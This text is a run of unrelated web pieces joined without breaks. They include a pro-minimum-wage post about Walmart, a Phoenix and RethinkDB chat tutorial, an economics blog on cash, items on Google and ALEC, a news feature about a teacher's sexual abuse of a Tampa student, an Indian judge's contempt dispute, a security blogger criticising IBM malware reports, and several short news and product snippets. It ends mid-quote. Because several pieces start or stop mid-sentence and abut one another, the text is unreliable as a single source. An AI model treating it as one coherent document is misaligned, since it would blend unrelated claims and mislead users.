Walmart employs about 2.2 million people – almost 2% of America’s workers, these days.
If the minimum wage is raised to $12.00 an hour, 37% of Walmart employees would see a raise ranging from $3,200 (part-time workers) to $6,500 (full-time workers). Another 14.6% would see a raise between $1,670-$2,640 per year.
Opponents claim ‘pay raises like that are unrealistic and unsustainable’. They claim ‘Walmart would go bankrupt having to pay that much for labor.’
But that’s completely wrong. According to the UC Berkeley study, increasing the minimum wage to $12.00 an hour would add only $3.21 billion to Walmart’s annual labor costs. To put that in perspective:
Giving all those workers a pay increase might cut Walmart’s profit margin by 20% – but it certainly won’t bankrupt the company.
Now, let’s assume that Walmart passed every penny of the minimum wage increase onto customers, rather than taking it out of profits or dividends. What would that mean to consumers? The average customer would see an increase of $12.49 per year – about 46 cents per visit – if Walmart executives passed the total cost along, rather than cutting their profits.
FOURTY-SIX CENTS per visit would ensure that all Walmart’s workers are paid a living wage.
That’s a lot less than the increase in the price of milk.
Would it be worth it, to help the nearly 4 million Americans who are currently working at or below minimum wage? Even if corporate executives pass the total cost along to consumers, rather than taking some of it out of their dividends. I think so.
—–
A closer look at Walmart’s dividend payments: corporate “insiders” own more than half of Walmart’s stock. Once again, the people who run the company personally benefit from decisions about profits paid out as dividends.
For example, Walmart Director Jim Walton owns 10.5 million shares of the company. This year, the company paid out $1.88 per share in dividends. That means Director Walton received more than $19.7 million in dividends (which are taxed at about half the rate as executive salaries).
Walmart President and CEO Michael Duke owns about 1.2 million shares of the company – that means he personally received about $2 million in dividend income this year.
All that money to corporate executives. And some people claim Walmart can’t afford to give raises to its workers?
Matt Murray is the creator and an author on the NH Labor News. He is a union member and advocate for labor and progressive politics. He also works with other unions and members to help spread our message. Follow him on Twitter @NHLabor_News
Like this: Like Loading...In this post we will explore how to connect RethinkDBs changefeeds to Phoenix’s channels. We are going to build a chat app that stores messages in a RethinkDB database. When a user connects, we listen to a changefeed on the database. As soon as a new message row is inserted into the database, we push the JSON we receive from the changefeed directly to the user.
For this, we will use the very young exrethinkdb library. I’m assuming Elixir and Phoenix are already set up.
Then code of the finished example app can be found at https://github.com/manukall/phoenix_rethinkdb_chat.
First we create a new phoenix application:
mix phoenix.new phoenix_exrethinkdb_chat --no-ecto
Then we need to add exrethinkdb as a dependency. As it is not published on hex yet, we fetch it from Github. In phoenix_exrethinkdb_chat/mix.exs change the deps method to:
1 2 3 4 5 6 defp deps do [{ :phoenix, "~> 0.11" }, { :phoenix_live_reload, "~> 0.3" }, { :exrethinkdb, github : "hamiltop/exrethinkdb", ref : "55fb5b5ed892f28b7ae8ee1b2f8e54fb651bd611" }, { :cowboy, "~> 1.0" }] end
Next we let mix install our new dependency. To do this run the following command (inside our new project’s directory):
mix deps.get
Because we do not want to reconnect to RethinkDB every time a new request happens, we will connect to it once when our application starts and keep a reference to the connection. We will use an Agent for this. Create the file lib/phoenix_exrethinkdb_chat/repo.ex with the following content:
1 2 3 4 5 6 7 8 9 10 11 12 13 defmodule PhoenixExrethinkdbChat.Repo do def start_link do conn = Exrethinkdb. local_connection Agent. start_link ( fn -> conn end, name : __MODULE__ ) { :ok, self } end def run ( query ) do Agent. get ( __MODULE__, fn conn -> Exrethinkdb. run conn, query end ) end end
To actually connect to the database when our application starts, we need to add our repo to the supervisor tree. In lib/phoenix_exrethinkdb_chat.ex add the following to the children array:
worker(PhoenixExrethinkdbChat.Repo, []),
Next we are going to add our HTML. We just want the page to display a list of messages and one input each for the user’s name and the message. Replace web/templates/page/index.html.eex with the following code, which is pretty much stolen from chrismccord’s phoenix chat app:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <div id= "messages" class= "container" > </div> <div id= "footer" > <div class= "container" > <div class= "row" > <div class= "col-sm-2" > <div class= "input-group" > <span class= "input-group-addon" > @ </span> <input id= "username" type= "text" class= "form-control" placeholder= "username" > </div> <!-- /input-group --> </div> <!-- /.col-lg-6 --> <div class= "col-sm-10" > <input id= "message-input" class= "form-control" /> </div> <!-- /.col-lg-6 --> </div> <!-- /.row --> </div> </div>
We’re also going to shamelessly steal the javascript from the example chat app. Put the following into web/static/js/app.js :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import { Socket, LongPoller } from "phoenix" class App { static init (){ var socket = new Socket ( "ws://" + location. host + "/ws" ) socket. connect () var $status = $ ( "#status" ) var $messages = $ ( "#messages" ) var $input = $ ( "#message-input" ) var $username = $ ( "#username" ) socket. onClose ( e => console. log ( "CLOSE", e )) socket. join ( "rooms:lobby", {}). receive ( "ignore", () => console. log ( "auth error" ) ). receive ( "ok", chan => { chan. onError ( e => console. log ( "something went wrong", e ) ) chan. onClose ( e => console. log ( "channel closed", e ) ) $input. off ( "keypress" ). on ( "keypress", e => { if ( e. keyCode == 13 ) { chan. push ( "new:msg", { user : $username. val (), body : $input. val ()}) $input. val ( "" ) } }) chan. on ( "new:msg", msg => { $messages. append ( this. messageTemplate ( msg )) scrollTo ( 0, document. body. scrollHeight ) }) chan. on ( "user:entered", msg => { var username = this. sanitize ( msg. user || "anonymous" ) $messages. append ( ` < br />< i > [ $ { username } entered ] < /i>`) }) }). after ( 10000, () => console. log ( "Connection interruption" ) ) } static sanitize ( html ){ return $ ( "<div/>" ). text ( html ). html () } static messageTemplate ( msg ){ let username = this. sanitize ( msg. user || "anonymous" ) let body = this. sanitize ( msg. body ) return ( ` < p >< a href = '#' > [ $ { username }] < /a> ${body}</p>`) } } $ ( () => App. init () ) export default App
This needs jQuery. Download this version directly from chrismccord’s repo to web/static/vendor/jquery.min.js.
You can start the server by running mix phoenix.server now and open http://localhost:4000. RethinkDB needs to be started for this. For toy projects like this, I prefer to start a local instance by simply running rethinkdb inside the projects folder.
If you check your browser console, you will see an error telling you that the app can’t connect to your server via websocket. Let’s fix that by adding a channel route.
Open web/router.ex and add the following:
1 2 3 socket "/ws", PhoenixExrethinkdbChat do channel "rooms:*", RoomChannel end
This tells the router to listen for websocket connections at /ws and use the PhoenixExrethinkdbChat.RoomChannel module for all requests to channels matching rooms:*.
Next we need to create this module. Create the file web/channels/room_channel.ex with the following content:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 defmodule PhoenixExrethinkdbChat.RoomChannel do use Phoenix.Channel require Logger alias Exrethinkdb.Query alias PhoenixExrethinkdbChat.Repo def join ( "rooms:lobby", message, socket ) do send ( self, :after_join ) { :ok, socket } end def handle_info ( :after_join, socket ) do q = Query. table ( "messages" ) result = Repo. run ( q ) Enum. each ( result. data, fn message -> push socket, "new:msg", message end ) changes = Query. changes ( q ) |> Repo. run Task. async fn -> Enum. each ( changes, fn change -> push socket, "new:msg", change [ "new_val" ] end ) end { :noreply, socket } end def handle_in ( "new:msg", msg, socket ) do q = Query. table ( "messages" ) |> Query. insert (%{ user : msg [ "user" ], body : msg [ "body" ]}) Repo. run ( q ) { :reply, { :ok, msg [ "body" ]}, assign ( socket, :user, msg [ "user" ])} end end
The join method get’s called when users open the website. It allows everyone to join the channel “rooms:lobby” and sends a after_join message. This is an Elixir/Erlang message (see http://elixir-lang.org/getting-started/processes.html#send-and-receive) - not a chat message. This message is handled at line 12. We first send all existing chat-messages back to the browser (line 15). Then we subscribe to the messages-table’s changefeed and send each new message as it comes (lines 17-23).
The last step before we can try our application is setting up the database. For now, it is easiest to just create the table manually. Run iex -S mix in the console to start IEx. In the IEx shell execute Exrethinkdb.Query.table_create("messages") |> PhoenixExrethinkdbChat.Repo.run.
This is all. Restart your server and reload the browser page. In IEx run the following and watch the new message appear in your browser.
Exrethinkdb.Query.table("messages") |> Exrethinkdb.Query.insert(%{user: "kai", body: "hi"}) |> PhoenixExrethinkdbChat.Repo.run
ChangelogWhy are governments rushing to eliminate cash? During previous recoveries following the recessionary declines from the peaks in the Economic Confidence Model, the central banks were able to build up their credibility and ammunition, so to speak, by raising interest rates during the recovery. This time, ever since we began moving toward Transactional Banking with the repeal of Glass-Steagall in 1999, banks have looked at profits rather than their role within the economic landscape. They shifted to structuring products and eliminated any relationship with the client. This reduced capital formation for it has been followed by rising unemployment among the youth and/or their inability to find jobs within their fields of study. The VELOCITY of money peaked with our ECM 1998.55 turning point from which we warned of the pending crash in Russia.
The damage inflicted with the collapse of Russia and the implosion of Long-Term Capital Management in the end of 1998, has demonstrated that the VELOCITY of money has continued to decline. There has been no long-term recovery. This current mild recovery in the USA has been shallow, at best, as the rest of the world declines from the 2007.15 high with a target low in 2020. The Federal Reserve has been unable to raise interest rates sufficiently to demonstrate any recovery, for the spreads at the banks, between bidding and asking for money, is also at historical highs. Banks will give secured car loans at around 4% while their cost of funds is really 0%. This is the widest spread between bid and ask since the Panic of 1899.
We face a frightening collapse in the VELOCITY of money and all this talk of eliminating cash is in part due to the rise in hoarding cash by households, in both the USA and Europe. This is a major problem, for the central banks have also lost control to be able to stimulate anything. The loss of traditional stimulus ability by the central banks is now threatening the nationalization of banks be it directly, or indirectly. We face a cliff that government refuses to acknowledge and their solution will be to grab more power – never to reform.Eric Schmidt speaks out against ALEC on climate change. But what about the rest of Google's ties to deniers?
Last month, Microsoft made headlines after it cut ties with the American Legislative Executive Council (ALEC), a Koch Brothers-backed right-wing public policy group that's been involved in a murderer's row of controversial issues over the past three decades.
That includes pushing climate change denial in schools, calling gay people a “health risk,” advocating for controversial Voter ID laws, and crafting a piece of piece legislation that would enact Florida’s “Stand Your Ground” law on a federal level. Particularly considering Microsoft's efforts toward promoting environmental stability, the split was no brainer.
Now another high-profile tech firm has come out against ALEC: Google.
In an interview with Diane Rehm on the NPR affiliate WAMU, upon being asked if Google still funded ALEC, Chairman Eric Schmidt said, "I think the consensus within the company was that that was some sort of mistake and so we're trying to not do that in the future."
That's not exactly a definitive vow to cut ties with ALEC, but what Schmidt said next certainly sounds like grounds for divorce.
"Well," Schmidt says, "the company has a very strong view that we should make decisions in politics based on facts -- what a shock. And the facts of climate change are not in question anymore. Everyone understands climate change is occurring and the people who oppose it are really hurting our children and our grandchildren and making the world a much worse place. And so we should not be aligned with such people -- they're just, they're just literally lying."
With what appear to be two high-profile defections from ALEC in as many months, this may prompt other big tech firms to follow suit. Facebook, Yelp, and Yahoo all still have representatives on the group's Communications and Technology Task Force, which costs corporations $5,000 a year to join.
The bigger question pertaining to Google, however, is will it now stop funding other groups pushing climate change denial?
ALEC isn't the only one of Google's questionable climate ties. The company was the top donor at last year's annual fundraising dinner for the Competitive Enterprise Institute, another Koch-funded think tank with an equally poor record on climate change misinformation. It published a book called “Power Grab: How Obama’s Green Policies Will Steal Your Freedom and Bankrupt America” which posits that climate change is a myth and that the decline of the coal industry is due to overreaching liberal politicians and not, as most evidence suggests, simple libertarian market forces.
Google is also involved with CEI |
by enabling "Ok Google" hotword detection everywhere. Really cool, but it has been slowly making its way to users on a per-account basis. Tired of waiting? Just a few taps, and you can (maybe) get instant access to the feature. Note: Probably US English only.
Just open the search app and do a text search for "Okay Google Everywhere." That's it. Seriously. Go back to your Google Now voice settings and you should see the Ok Google section now has options for detection on any screen and the lock screen (yes, they are separate toggles).
I know this sounds a little crazy, but we tested it ourselves and are three for three so far. One minute the option isn't there, and the next it is. Crazy, no? It might not work for everyone, but it seems to at least work most of the time. It's still totally possible that we're all suffering from some sort of mass delusion, but give it a shot anyway.
[Reddit – Thanks to everyone who sent this in]TAMPA — Addison Allen was 16, about to start her senior year at Tampa's Robinson High School, when the police called. They wanted to talk about the rumors.
Several students had said she was having sex with her European History teacher. One told an officer he'd seen text messages between the two and they'd gone on a date to see The Avengers at WestShore Plaza.
Impossible, thought Lynn Allen, Addison's mother, as the officer stood near their dining table that summer day in 2012. They'd seen the movie as a family.
"So nothing happened?" the mother asked her daughter.
"No," Addison said and walked upstairs to her bedroom.
The officer left. Her mother and father went into her room. After a long silence, Lynn asked her husband to leave. She looked hard at her daughter.
"It's all true," Lynn said, "isn't it?"
• • •
Addison struggled to make friends her freshman year. Something changed when she was a sophomore, the year she took Robert Lunsford's advanced placement history class. She hosted tea parties at her South Tampa home, invited friends over to play Scrabble, dated a boy.
She also nurtured a crush. She filled her diary with hearts and teenage fantasies, and often signed off as "Addie Lunsford." "I know it will never happen but a girl can wish, can't she?"
Her mother welcomed the changes. She listened to her daughter debrief her each day after school. The highlights were often funny things Lunsford had said in class.
Lunsford, then 37, was the cool teacher. In the summers he took recent Robinson High graduates to Europe, where they'd see the sights they'd studied in class. He asked parents to sign waivers to allow their kids to drink alcohol. (The legal drinking age in many European countries is 18.) His guide company was called DYNOtours: "Deny yourself nothing!"
At the end of sophomore year, Addison said, Lunsford asked her to help him grade papers after school. They exchanged phone numbers and started to text each other.
In her junior year, she became Lunsford's teaching assistant. On Tuesdays, she said, the two would grade papers and joke until 6, even 7. It was her favorite day of the week.
Her mom told her not to stay so long. But Lynn, 48, remembered volunteering as her high school's football team manager to be near a cute coach. She didn't see any harm in her daughter's crush. Addison seemed more outgoing and happier than ever.
In the spring of 2012, Lunsford coached a girls tennis club, and Addison's Tuesdays alone with him ended. One Friday, she said, she stopped by his classroom. The movie The Avengers came up in conversation. It was so good, Addison said he told her, he'd even see it again. Almost jokingly, she asked if he'd see it with her.
He agreed.
They met at the mall theater and shared popcorn. She said she dropped a piece on his lap and he playfully threw it back. In the movie, Captain America knocks a punching bag off its chain. Addison said Lunsford leaned near and joked, "I hate when that happens."
She laughed so hard.
They hugged in the parking lot, Addison said, and decided they weren't ready to say goodbye. They sat in his car and talked for nearly an hour. The conversation, she said, turned to sex.
"Would it be your first time?" she said he asked.
"Yes."
He said he was intrigued.
They began to meet covertly, she said. Hugging turned to kissing and eventually more. She said they met in a Sonic restaurant parking lot on Gandy Boulevard and twice at his house while his wife was away.
Then Lunsford left for Paris with a group of recent graduates.
They planned to meet July 5 after he returned. Addison decided that would be the day. In her diary, she wrote a reminder to her future self: "July 5th is a significant date. I hope you remember why."
She didn't immediately follow up with an entry about the experience but eventually noted it was "really nice."
She said they had sex four times. She'd meet Lunsford at a nearby bank parking garage and ride with him in his car to his house. His wife, who was pregnant at the time, was at work, and their child was in day care.
Addison's happiness was hard to contain, and she told friends.
At the end of July, one of them called police.
• • •
Addison said she didn't want anything bad to happen to Lunsford, so she lied to investigators.
When her mother sat next to her that night on the bed and learned the truth, she persuaded Addison to at least tell police she had seen the movie with Lunsford. That way, Lynn said, the Hillsborough County School District would move forward with its investigation and he wouldn't be able to teach anymore.
The police talked with Addison's friends. They interviewed Lunsford, who insisted the two had never had sex and that Addison was obsessed with him.
Lunsford resigned Aug. 14, 2012, about two weeks before the start of school. He told people he planned to focus on his travel company.
Lynn, a family therapist, and her husband, Tim, mulled options. They could press Addison to cooperate with police, but what repercussions would that have on her senior year, and as a result, her college years? Would the public exposure from the case deepen her already depressive moods?
At the time, Lynn didn't think Lunsford was a pedophile, only that he had "poor boundaries." She worried how his children would turn out with a registered sex offender as a father. At the same time, she wanted to prevent him from working with teenage girls.
She concocted a solution she hoped would be best for all.
On Sept. 2, 2012, she sent Lunsford an email:
"I've been debating writing you … there are only two events that would lead me/us to ever decide to dredge this thing up again. One would be your reconnecting with Addie … and the other would be if I found out you were working with 12-17 year old girls again."
He responded the next day.
"Thank you for your email. I am sorry for the pain this has caused both our families, and I welcome the opportunity to reach an understanding so that we may all put this behind us … In short, you have my solemn promise that I will honor both the letter and the spirit of your two conditions … I am so deeply sorry for this. I do not believe that my behavior reflects the person I truly am, and certainly not the person that I am trying to be … Thank you, Rob."
Earlier, Addison had sent an email of her own.
"I love you so much, and I'm just so sorry."
Lunsford replied:
"Delete all the messages and get rid of anything else you have that is a reminder of this. It will just provide the temptation to revisit it. The best thing for everyone, but especially you, is to move ahead."
Addison stopped socializing. She heard the whispers as she walked the school hall. She felt guilty each time she passed Lunsford's former classroom.
Without her help, the Tampa Police Department's investigation hit a wall.
Meanwhile, the school cleaned out Lunsford's room and found a blue thumb drive. On it were two letters district officials believed were to a female former student. The letters were dated fall of 2010 and winter of 2011. They referred to a previous trip to Europe and to making "love under an Italian moon."
With the police's investigation stalled, officers would never see the letters. Because Lunsford had resigned, the school sent what it had collected to the state's Education Practices Commission.
• • •
Lynn believed she bore responsibility to ensure Lunsford followed through with his side of the deal.
She scoured his Facebook page to make sure no young girls repeatedly liked or commented on his photos, as Addison had. She drove past his house several times a week. If he got a new job, she thought, she could follow him.
She did this for a year.
One day in May 2013, without much thought, she pulled up to a stop sign near his house. Parked at the intersection on the other side was Lunsford's black Hyundai Sonata, she said. A young female sat beside him in the passenger seat, Lynn said, probably "between 16 to 21 years old." It was around noon. Lynn swung her car around, parked near Lunsford's house and watched him walk inside with the young woman.
Lynn sat in her car for more than an hour, she said, staring at the front door. The two finally emerged and drove away.
About 10 minutes later, she saw Lunsford driving home. His passenger seat was empty.
Lynn called her husband.
Then she drove home and called the police. This time Lynn shared everything with the officer. She recounted how Addison had lied and her email deal with Lunsford, and said she felt sick when she saw the girl in Lunsford's car. The officer took down Lynn's statement and asked a detective to follow up.
• • •
The detective reinterviewed everyone and filed a report to the State Attorney's Office in Addison's case.
Prosecutors chose not to charge Lunsford because of "delayed disclosure, no corroborating evidence and insufficient evidence," records state. Lynn said the detective told her a judge would have had a hard time trusting Addison because she had lied.
After a yearlong investigation, the Education Practices Commission sought to revoke Lunsford's teaching license.
The investigation report — more than 70 pages — included interviews with students, Addison's diary clippings and emails sent between Lunsford and Lynn. In February of this year, an administrative complaint said Lunsford had an "inappropriate physical relationship" with a student that included "sexual intercourse."
Lunsford chose not to contest the allegations and voluntarily surrendered his teaching license. In July, his Florida teaching permit was permanently revoked.
In a recent interview with the Tampa Bay Times, Lunsford said Addison and her mother lied about everything. The allegations stem from Addison's unhealthy obsession with him, he said. He resigned his job and wrote emails of apology, he said, because he felt bad that the rumors had spread. He accused Addison of signing him up for spam emails and said she recently left a note on his car.
Concerning the letters found on the blue thumb drive, Lunsford said, "Even if that was the case, hypothetically, that wasn't a crime," referring to the girl's age.
Addison is now 19. She is a sophomore and studies political science at New College of Florida in Sarasota.
She admitted that she signed Lunsford up for child-abuse-prevention newsletters and that once when she saw his car parked in her parents' neighborhood, she left him a mean note. She also said she sent him an email this summer. She wanted him to know that his actions caused her to feel severely depressed.
Sitting in a chair in her dorm room, she said that for a long time she struggled to see herself as a victim. But she has finally accepted the relationship for what it was.
"This was purposeful on his part," she said, "purposeful manipulation."
That realization has liberated her from blaming herself, and she has felt much happier recently.
Lately, another student her age has caught her interest. If it turns out to be something special, she'd like that, but for now she's fine being just friends.
Times researcher Natalie Watson contributed to this report. Contact Weston Phippen at [email protected] or (727) 893-8321.NEW DELHI: In what might be a first, Calcutta high court’s Justice S C Karnan, facing a notice from the Supreme Court in a contempt case, has lashed out at the apex court, accusing it of harbouring a caste bias against him.In defiance of the SC’s decision and sharply escalating the confrontation with the apex court, Karnan accused the CJI J S Khehar-led seven-judge bench of uppercaste bias in initiating proceedings as he belonged to the Dalit community Karnan virtually alleged that the court order amounts to an offence under the law to punish atrocities against Dalits and tribals and challenged the court to refer his case to Parliament He said: “The suo motu order against me, a Dalit judge, is unethical and goes against the SC and ST (Prevention of) Atrocities Act. It is certainly a national issue and a wise decision would be to refer the issue to the House of Parliament.”The judge argued that since the order against him was “harsh”, the contempt case should be heard after CJI Khehar retired or placed before Parliament if this was not possible.In his anxiety to respond to the SC’s February 8 judicial order, Karnan addressed a four-page letter to the SC’s registrar general, a post that no longer exists as it was redesignated years ago as secretary general.Karnan, who has been at the centre of several controversies, was issued a notice and asked to present himself in the Supreme Court on February 13 to explain “scurrilous” allegations against sitting and former judges.In response to the apex apex court’s contempt proceedings, Justice Karnan said: “The suo motu petition is not maintainable against a sitting judge of the HC... I have sent representations to various government authorities regarding high irregularities and illegalities occurring at the judicial courts.I am also a responsible judge to control such high irregularities, especially corruption and malpractice. I have furnished comprehensive proof of unethical practices happening with the respective courts.‘Upper caste judges taking law into hands’He had earlier written to the National Commission for Scheduled Castes, levelling charges of anti-Dalit bias against the chief justice of the Madras high court in 2014 when he was a member of the bench there.Referring to the February 8 order that also stripped him of judicial and administrative work, Karnan said: “The characteristic of this order clearly shows that the upper caste judges are taking law into their hands and misusing their judicial power by operating the same against a SC/ST judge (Dalit) with mala fide intention to get rid of him.”Referring to the “harsh order” passed earlier by a bench headed by Khehar, Karnan said: “Therefore, my deep request is to hear the suo motu contempt after retirement of the Chief Justice of India. In the meanwhile, my administrative work and judicial assignment could be restored.My main contention is only to uproot the corruption prevailing at the Madras high court, and not to spoil the sanctity and decorum of the court.”“I (had) issued a list of the corrupted judges wherein an inquiry is mandatory, as such the suo motu petition is not maintainable. The order of the apex court in the suo motu contempt petition is erroneous and has been wilfully and wantonly and with mala fide intention was passed (sic).Therefore, these proceedings may be referred to Parliament, wherein I will establish the high rate of corruption prevailing with the judiciary at the Madras high court.”Indicating that he might not present himself before the seven-judge bench of the SC on February 13, he said: “The Supreme Court had not granted stipulated time (for him to respond to the contempt notice), which is highly irregular.”If you follow my posts you have likely read some of my posts on malware reverse engineering or forensics. If you did, you'll know I am big on standards and telling folks how I come to a conclusion. Why? Well I like to have others verify that my assumptions and research makes sense, are validated and are as neutral as they can be under the circumstances and data I can collect in a given situation and time frame. There is always a tradeoff between reporting in near real time and details I can collect and analyze until then to be as sure as possible. Mistakes happen but they are never premeditated. It is an interesting place to be at the very least... Anyway to the topic at hand...
I have a honor code I do my best to adhere to, some of those rules of this code are:
Do no harm
Report the facts as best as possible
Don't report old malware as new (unless there are new components that avoid detection and new modules)
Don't sell snake oil, be a FUD'er (Fear, Uncertainty, Doubt)
Use standards and explain what you are using to customers and partners
If you have followed some of my posts (or all) you will (hopefully) find an entertainingly "right to the point" piece of literature that doesn't assume I (the author) knows everything and everyone else is dumb (because I don't claim to know everything as I learn more each day). That goes against my beliefs (thinking I am smarter than everyone else) in a big way. I refuse to believe business is not ethical and that there are regulations, laws and a code of honor all businesses MUST follow in order to have a justification to sell security services, products, training and consulting. If these companies are engaged in malware research and "cyber" security then they have this as a standard above all and everything else!
You may be guessing "what the heck are you talking about 1D1oT ;-). I'll explain what I mean right now. There are multiple companies out there that "sell" customers on new threats that are in fact old, not modified and attempting to get market share (I believe) by using information in a very misleading way, this has to stop. Its not honest and hurts us honest folks that really do the work and research. So now on to the actual topic.
I work with and for a world wide network of security community based researchers, we look everyday for new viruses, malware and "electronical nasties" (cyber warfare, espionage and crime). I use standard tools (IdaPro, VMs, Volatility, etc.) that I can explain, teach and use in normed ways. I use NIST CSF, ISO27001, etc. as a baseline for how I do things, also Forensics Science. Why? Well for starters because its published, anyone can verify and check it, uses a specific approach to collecting, analyzing and making decisions and assumptions on data or evidence. This is a crucial and important aspect for all of you that buy "cyber" security services, consulting and products. Always ask yourself what standards your products and services are using. In the process of doing this work for literally 1000's of hours you learn things and signs that either add up, don't add up or require more analysis as a team in order to create the final picture. Sometimes malware is so advanced I need to ask friends to help me out, other times they are so simple and easy that kids can literally find them and understand them. In the later case when I stumble across reports that look fantastic and spectacular, I really dig down into the details because I want to help protect my customers and partners from the new cyber threat. As I do this preliminary research and verification I usually compare code samples to find out if something is new, if there is I will give that "threat" a new name. It may be based on something old "which I will also state" and then say how the new piece has additional modules, attack patterns and piece together the IOC information I need to publish and pass on to other partners in the community. Sometimes though I find bad apples or wannabe companies that rehash something that is old as something new, if they do no new research or have new samples that prove the point then I dig even deeper. This has happened in the cases below.
I was asked to verify certain claims of a nation-state based campaign (or at least it was given to the press that way). In this case I asked myself what level of data and evidence quality was being used/collected/analyzed by the researchers or publishers of these specific cases (specifically) IBM/Trusteer / X-Force's malware reporting and research on the following reports:
Actually ROVNIX (Konnichiwa), a piece of malware that is not only older but also known in the security community for targeting countries in a round robin attack pattern does not indicate that it specifically targets any one nation. So its a stretch calling this a "campaign" against Japan or any specific country (TBH) because thats just how the virus/malware has worked since its been sighted in the wild. I would suggest that IBM / Trusteer / X-Force cut the drama by saying this and other malware are "specifically targeting" a specific country when the evidence and data does not back that assumption up. Japan has its share of attacks like every other country, currently there is no evidence to back up the claim that Japan is being specifically targeted any more than other countries (if I made a mistake then I am more than willing to check the evidence to the contrary). Shifu (first sighted in UK in 2014 not 2015) in fact was originally found in England and not Japan as the report suggests. I am wondering how the researcher backs up the claim that this is targeting Japan "specifically" and why?
These examples are very worrying for me and others in the community also see this the same way. While I agree awareness is a great thing, spreading FUD is not awareness it also is not good for society, good for you or good for the community (its actually very harmful and insidious). The difference lies in what your goal is for spreading news or information about something. If you are "assuming" something then its an assumption (not a fact). If your assumption harms a local economy or country well some "could" consider this a form of cyber (economic) terrorism and not legitimate threat intelligence.
In conclusion Japan has had its share of attacks before 2015 and the specific reports are about older malware not new ones unique to 2015 in most cases (they actually admitted this before). There are no credible neutral reports based on forensically solid evidence that the reports actually prove a targeted campaign against Japan (in this case) and the malware is also certainly not new. I (personally in in my own opinion) find this very unprofessional, (maybe even) unethical and certainly asinine (if the reports do not show really new versions of old malware that has been around since 2009 in some cases). In the case of Japan, they deal with malware like any other nation, if I want to say these above samples "are" a targeted campaign, I challenge and expect IBM/Trusteer / X-Force to submit its data in the community where we will look at the data in a neutral manner and determine "if" it is new malware, "if" evidence supports a national-state sponsored and sustained targeting campaign, and "if" it was collected in a manner that is neutral, unbiased and verified by third parties using published and court approved forensics analysis. If not, well its not really much value to me as a researcher...
So why should I even write this post to begin with you may ask? Well, everyone "says" they are "cyber" experts. Many (I am finding) have no real clue what they are talking about. Some companies "sell" reports as new malware versions, the facts (recently trend toward) pointing to the opposite (aka old threats reported as new attacks or totally wrong conclusions based on circumstantial evidence or incorrect interpretation). Many companies "say" they understand Threat Intelligence (more than hooking up network sniffers or honey nets), in truth "most" do not because that's not their focus. Threat Intelligence has become the new Anti Virus of tomorrow with lots of offers, not many standards and customers wondering who to trust, how to assess the solutions and looking for who the right partners are. The right partners don't need to sell "old" malware that is not modified as "new". The right partners don't claim someone else's research for their own. The right partners do what they do because they are dedicated, passionate about it and want to do great work. The right partners collect data in a communicated and forensically solid manner that is compliant to forensics principles. Its time the snake oil charmers, charlatans and trend seekers get the message. Don't spread BS, do the work, give credit where its due, publish information and research correctly.
DISCLAIMER: This is my opinion based on reports I read published by the companies mentioned, the conclusions are based on attack data I collected from various sources like CERTs, Governments, Agencies and open source based threat feed information as well as my own honey-net. If you disagree with this post I welcome neutral data and am more than open to a neutral interview from the BSides community or security research community to discuss the reports in detail. I in no may have been paid by anyone to write this, I do not profit from any competitor of the companies listed and am not accusing anyone of anything. I am stating the results of my analysis that I rechecked with the countries involved and malware samples I compared.
Your 1D1oT (Security Noob)
P.S. I don't feed trolls so don't bother commenting and expecting an answer if you are a troll..The Deluxe Edition includes: full soundtrack (mp3 and FLAC), comics, screenplays, concept arts, and wallpapers.
Open narrative exploration in the town of Pinwheel.
Accessible gameplay with additional controller support for players that aren’t as skilled with complex controls.
Challenging pen and paper puzzle design that you can decrypt at your own pace.
Ether One Redux is a first person adventure that deals with the fragility of the human mind.There are two paths in the world you can choose from. At it’s core is a story exploration path free from puzzles where you can unfold the story at your own pace.There is also a deeper, more adventurous path in which you can complete complex puzzles to restore life changing events of the patients history in order to help the validation of their life.The aim of the parallel paths was to make Ether One accessible to a range of skilled players. The hope was that people would be able to enjoy playing the game and solving puzzles with parents or friends, as well as immersed in the game on your own with the lights off. From a young age we enjoyed the first person puzzle games that required you to write cryptic notes on spare pieces of paper to unravel mysteries. Ether One aims to bring back pen and paper puzzle solving, whilst still being accessible and optional for people not wanting to get stuck and frustrated on the harder puzzles.An unidentified New Orleans woman suffered a severe facial laceration Sunday afternoon (Nov. 6), after witnesses said she was attacked from behind by another woman who slashed her as she walked out of a Central City convenience store.
New Orleans police, fire department and EMS personnel struggled with the agitated victim, who initially refused treatment after the 1:32 p.m. incident outside the Discount Corner gas station at 4101 S. Claiborne Ave. The injured woman, bleeding profusely, eventually climbed onto an ambulance gurney to which her wrists quickly were restrained.
NOPD spokeswoman Dawne Massey on Monday said the victim was cut during a fight with a woman named Tasha, with whom police say the victim has an ongoing feud.
The scene unfolded at the corner of South Claiborne Avenue and General Taylor Street, which witnesses at the scene described as a routine location for narcotics activity. The 33-year-old victim's immediate condition was unknown.
An eyewitness to the attack, who declined to give his name, said he saw the victim coming out of the Discount Corner storefront when the attacker ran up from behind and slashed the woman deeply underneath her left eye with a razor or knife. Police said Monday, however, that the weapon used in the incident was a broken bottle. The witness said the attacker ran from the scene several minutes before police arrived. Massey said police believe "Tasha" might be traveling on a cruiser-style bicycle.
The victim sat in the parking lot of a business across the street until paramedics and police arrived. But she refused treatment for several minutes, screaming for someone in the gathering crowd to first find her phone. When police officers and EMS technicians attempted to touch her, she lunged and screamed at them, forcing them to dodge a thin blood spurt still pulsing from her injured face.
A male acquaintance of the woman eventually managed to calm her enough to lay back on the gurney, so that she could be restrained and treated before transport to a hospital.
The NOPD provided no additional information about the victim or her attacker's identity or motive.
Editor's note: This story was updated Monday (Nov. 7) with additional information from NOPD.Fung Global Institute In his latest piece, Nomura economist Richard Koo examines the recent crash in the Japanese stock market, which has tumbled 15% since just May 22.
"The prevailing view is that we are finally seeing a reaction to this excessively rapid move, and if so this is a healthy correction," he begins. "The reality, however, may be somewhat more complicated."
Koo argues that the primary driver of the big upward move in the Japanese Nikkei 225 so far has been hedge funds outside of Japan who were previously betting against the euro.
Then, last September, when the ECB introduced a new monetary stimulus program that undermined the fear in the market that the euro could collapse, those international hedge funds had to find something else to bet against.
Koo writes (emphasis added):
